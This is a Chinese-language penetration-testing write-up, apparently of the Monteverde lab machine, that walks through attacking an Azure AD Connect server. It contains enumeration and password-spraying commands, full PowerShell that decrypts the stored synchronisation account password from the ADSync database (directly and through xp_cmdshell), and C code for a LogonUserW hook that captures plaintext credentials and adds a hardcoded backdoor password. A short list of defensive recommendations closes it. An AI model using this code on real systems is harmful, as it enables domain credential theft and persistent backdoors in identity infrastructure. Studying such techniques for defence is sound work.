域渗透实战之Monteverde
字数 1096 2025-08-24 07:48:23
Azure AD Connect 域渗透实战技术分析
1. 信息收集阶段
1.1 端口扫描与识别
- 使用
nmap探测开放端口,重点关注:- 53 (DNS)
- 88 (Kerberos)
- 139/445 (SMB)
- 389 (LDAP)
- 636 (LDAPS)
1.2 SMB未授权访问检测
smbclient -L //<目标IP> -N
1.3 RPC未授权访问检测
尝试建立RPC会话:
rpcclient -U "" <目标IP>
1.4 凭证爆破技术
使用 crackmapexec 进行用户名枚举:
crackmapexec smb <目标IP> -u <用户列表> -p <密码列表>
或使用 ldapsearch 获取用户信息:
ldapsearch -x -H ldap://<目标IP> -b "dc=domain,dc=com" "(objectClass=user)" | grep sAMAccountName
2. 漏洞利用阶段
2.1 SMB文件访问
获取凭证后使用 smbmap 读取文件:
smbmap -H <目标IP> -u <用户名> -p <密码> -r <共享目录>
2.2 敏感文件发现
重点关注包含凭证的XML文件,路径通常为:
/users$/目录下的xml文件
2.3 WinRM远程访问
使用获取的凭证通过WinRM登录:
evil-winrm -i <目标IP> -u <用户名> -p <密码>
3. Azure AD Connect 提权技术
3.1 Azure AD Connect 数据库漏洞
3.1.1 数据库连接与查询
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
3.1.2 获取加密配置
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
3.1.3 解密过程
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
3.1.4 提取凭证
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
3.2 使用xp_cmdshell的替代方法
当直接访问受限时:
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
4. Azure AD Connect 后门技术
4.1 凭证窃取技术
通过挂钩 LogonUserW API 截获明文凭证:
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
PSID logonSID;
void *profileBuffer = (void *)0;
DWORD profileLength;
QUOTA_LIMITS quota;
bool ret;
WCHAR pipeBuffer[1024];
DWORD bytesWritten;
swprintf_s(pipeBuffer, sizeof(pipeBuffer)/2, L"%s\\%s - %s", domain, username, password);
WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL);
// 转发请求到真实函数
ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a);
return ret;
}
4.2 认证后门植入
在钩子函数中添加后门密码检查:
// 后门密码检查
if (wcscmp(password, L"ComplexBackdoorPassword") == 0) {
// 如果密码匹配,直接授权访问
return true;
}
5. 防御建议
-
Azure AD Connect 服务器加固:
- 限制对ADSyncAdmins和本地管理员组的访问
- 定期轮换MSOL账户密码
- 启用LSA保护防止凭据窃取
-
数据库安全:
- 限制对ADSync数据库的访问
- 禁用不必要的SQL功能如xp_cmdshell
-
监控措施:
- 监控对Azure AD Connect服务的异常访问
- 记录和审计对ADSync数据库的查询操作
-
架构设计:
- 考虑使用专用服务器运行Azure AD Connect
- 实施网络分段,限制服务器通信范围
-
补丁管理:
- 保持Azure AD Connect组件最新
- 定期审查Microsoft安全公告
6. 总结
本文详细分析了Azure AD Connect环境中的渗透技术,从初始信息收集到凭证提取和后门植入。关键点包括:
- 通过SMB和LDAP枚举获取初始访问
- 利用Azure AD Connect数据库漏洞提取同步账户凭证
- 两种凭证提取方法:直接查询和使用xp_cmdshell
- 通过API挂钩实现凭证窃取和认证后门
- 针对性的防御措施建议
这些技术演示了Azure AD Connect环境中的关键攻击路径,同时也强调了保护这些关键基础设施组件的重要性。